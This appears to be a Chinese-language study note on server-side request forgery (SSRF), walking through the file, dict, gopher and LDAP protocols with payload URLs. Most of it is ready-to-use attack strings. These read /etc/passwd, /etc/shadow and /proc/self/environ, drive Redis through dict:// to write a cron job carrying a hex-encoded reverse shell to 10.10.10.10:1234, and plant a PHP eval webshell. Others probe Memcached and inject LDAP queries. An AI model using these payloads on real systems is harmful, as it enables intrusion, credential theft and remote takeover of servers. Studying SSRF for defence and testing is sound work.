SSRF 服务器端请求伪造
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF攻击中常用协议
http协议(超文本传输协议)
用于在Web浏览器和服务器之间传输网页和数据的通信规则。
核心特点:
请求-响应模型
浏览器(客户端) → 发送请求 → 服务器
浏览器(客户端) ← 返回响应 ← 服务器无状态
每次请求都是独立的,服务器不记得你之前来过
需要Cookie/Session来保持登录状态明文传输(HTTPS是加密版)
HTTP:数据像明信片,谁都能看到
HTTPS:数据像密封的信件,更安全
file协议(文件协议)
用于访问服务器本地文件系统:
file协议数据格式:
file://文件绝对路径名
例如:
1 | file:///etc/passwd |
1 | http://target.com/fetch?url=file:///etc/passwd |
高级利用技术:
- 路径遍历:结合路径遍历技术访问任意文件。
1 | http://target.com/fetch?url=file:///var/www/html/../../../etc/shadow |
- 特殊文件访问:访问特殊文件获取系统信息。
1 | http://target.com/fetch?url=file:///proc/self/environ |
- 目录列表:某些实现可能允许列出目录内容。
1 | http://target.com/fetch?url=file:///var/www/html/ |
dict协议(字典协议)
dict协议一般常用来探测内网主机以及端口开放情况,既然能够探测端口,那么可以探测不同端口对应的服务的指纹信息。当然dict协议也可以用来执行一些服务的命令,如redis
- 内网主机探测
- 开放端口探测
- 端口服务指纹探测
- 执行命令
注意:dict执行命令多行操作的命令时,只能一次执行单行,需分多次执行。
dict协议数据格式:
- ditc://ip:port
- ditc://ip:port/命令
例如:
一、dict协议探测端口和服务指纹
1 | dict://127.0.0.1:22 |
二、dict协议攻击redis,写入定时任务,进行反弹shell
centos系统定时任务的路径为:/var/spool/cron
debian系统定时任务的路径为:/var/spool/cron/crontabs
1 | dict://127.0.0.1:6379/config:set:dbfilename:root |
注意:若payload存在被转义或过滤的情况,可利用16进制写入内容
1 | dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n" |
三、dict协议攻击redis,写入webshell
1 | dict://127.0.0.1:6379/config:set:dbfilename:test.php |
若存在过滤, 则利用16进制内容写入:
1 | dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n" |
四、Redis命令执行:利用dict协议与Redis服务交互。
1 | http://target.com/fetch?url=dict://192.168.1.10:6379/info |
五、Memcached数据提取:
访问Memcached服务获取缓存数据。
1 | http://target.com/fetch?url=dict://192.168.1.10:11211/stats |
gopher协议
我的gopher协议笔记
gopher协议在ssrf的利用中一般用来攻击redis,mysql,fastcgi,smtp等服务。
gopher协议数据格式:
gopher://ip:port/_TCP/IP数据流
注意:
- gopher协议数据流中,url编码使用%0d%0a替换字符串中的回车换行
- 数据流末尾使用%0d%0a代表消息结束
ldap协议(轻量目录访问协议)
用于与LDAP目录服务交互:
1 | http://target.com/fetch?url=ldap://192.168.1.10:389/dc=example,dc=com |
高级利用技术:
LDAP注入:
结合LDAP注入技术获取目录信息。
1 | http://target.com/fetch?url=ldap://192.168.1.10:389/dc=example,dc=com??sub?(uid=*) |
LDAP绑定操作:
尝试使用不同凭证进行LDAP绑定。
ssrf与redis的结合
(详见Redis笔记)